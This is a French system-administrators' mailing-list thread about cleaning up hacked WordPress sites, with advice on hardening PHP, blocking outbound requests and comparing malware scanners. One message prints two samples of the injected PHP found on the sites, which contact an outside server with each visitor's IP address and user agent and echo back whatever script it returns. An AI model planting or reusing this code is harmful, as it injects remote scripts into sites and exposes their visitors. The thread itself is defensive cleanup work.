UTF8 -> latin_1 ca fonctionne mieux.
Le 03/06/2015 12:40, Pierre a écrit :
Yes c’était fait, En soit le hacker ne pouvait pas vraiment utiliser les scripts.
Mais il faut nettoyer.
Après une longe matinée de recherche j'ai trouvé ce script :
https://www.ask-sheldon.com/find-and-replace-malware-code-blocks-in-php-file...
Mais j'ai un problème d'encodage UTF8 et j'avoue que je ne m'y connais pas grand chose en python
Voici l'erreur que cela fait quand il trouvé un fichier infecté :
HIT Traceback (most recent call last): File "./remove.py", line 38, in <module> replaceStringInFile(os.path.join(directory, filename)) File "./remove.py", line 19, in replaceStringInFile fContent = unicode(inputFile.read(), "utf-8") UnicodeDecodeError: 'utf8' codec can't decode byte 0xe9 in position 255: invalid continuation byte
Merci
Pierre
En soit le pi Le 03/06/2015 12:02, Guillaume Tournat a écrit :
Fait déjà commencer par désactiver certaines fonctionnalités dangereuses dans php (disabled_functions dans php.ini)
Ensuite bloquer les requêtes http sortantes du serveur avec iptables.
Le 3 juin 2015 à 11:23, Pierre pierre@infoserver4u.fr a écrit :
Hello,
Je me permet de relancer la discutions car j'ai presque le même problème avec un client.
Sauf que le code change sur presque tout les fichiers.
Voici un exemple de code :
<?php #568ba2# error_reporting(0); @ini_set('display_errors',0); $wp_f67188 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_f67188) && !preg_match ('/bot/i', $wp_f67188))){^M $wp_f0967188="http://"."theme"."header".".com/"."header"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_f67188);^M if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_f0967188); curl_setopt ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);^M $wp_67188f = curl_exec ($ch); curl_close($ch);} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {$wp_67188f = @file_get_contents($wp_f0967188);}^M elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_67188f=@stream_get_contents(@fopen($wp_f0967188, "r"));}}^M if (substr($wp_67188f,1,3) === 'scr'){ echo $wp_67188f; } #458ba2# ?>
Ou encore
<?php #5a9312# if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_f0967188); curl_setopt ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);^M $wp_67188f = curl_exec ($ch); curl_close($ch);} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {$wp_67188f = @file_get_contents($wp_f0967188);}^M elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_67188f=@stream_get_contents(@fopen($wp_f0967188, "r"));}}^M if (substr($wp_67188f,1,3) === 'scr'){ echo $wp_67188f; } #/5a9312# ?>
J'ai essayé beaucoup de sed et xargs, mais le code est trop complexe pour arrive a faire un truc propre.
find . -type f -name "*.php" -print | xargs sed -i.hacked 's/^<?php n#*# *?>//g'
Le seul point commun est un début <?php saute de ligne puis un # et en fin un autre # saute de ligne ?>
J’essaie d'utiliser https://github.com/planet-work/php-malware-scanner
Mais cela ne semble mal fonctionner avec mon problème.
Auriez vous une idée ?
Merci
Pierre
Le 20/05/2015 16:09, Julien Escario a écrit :
Le 20/05/2015 07:14, Jonathan Leroy a écrit :
J'ai eu une demande de "nettoyage" de sites WordPress ayant été hackés hier.
J'en ai donc profité pour tester tous vos outils sur un des sites.
Le grand gagnant est php-malware-scanner de Frédéric, qui détecte deux fichiers de plus que Sucuri (mais en laisse passer un autre). J'ai mis un tableau comparatif en PJ pour ceux que ça intéresse :)
Nice job !
Merci du retour. Julien
Liste de diffusion du FRsAG http://www.frsag.org/
Liste de diffusion du FRsAG http://www.frsag.org/
Liste de diffusion du FRsAG http://www.frsag.org/